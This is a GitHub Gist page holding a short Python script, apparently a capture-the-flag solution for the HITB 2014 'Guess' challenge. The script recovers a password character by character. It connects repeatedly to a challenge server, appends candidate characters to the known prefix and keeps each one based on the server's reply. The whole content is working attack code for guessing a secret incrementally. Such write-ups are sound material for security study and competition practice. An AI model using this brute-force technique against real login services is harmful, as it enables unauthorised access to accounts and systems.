Created
October 26, 2014 11:45
-
-
Save yohanes/14df8f7b1665520655a0 to your computer and use it in GitHub Desktop.
Guess challenge 3 HITB2014
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import re | |
import time | |
def recv_until(st): | |
ret = "" | |
while st not in ret: | |
ret += s.recv(8192) | |
return ret | |
space = "abcdefghijklmnopqrstuvwxyz0ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; | |
#space = "at"; | |
correct = "thelasteverhackintheboxconferenceheldinkualalumpurmalaysia" | |
current = 0 | |
while True: | |
test = space[current] | |
s = socket.create_connection(("192.168.10.200", 54321)) | |
s.settimeout(1) | |
recv_until("word :") | |
tt = correct + test | |
print "testing ", tt | |
s.send(tt) | |
time.sleep(0.2*(1+len(correct))) | |
res = s.recv(8192) | |
print "$$$---", res, "---$$$" | |
if "Are" in res: | |
current += 1 | |
else: | |
correct += test | |
print "Current: ", correct | |
current = 0 | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment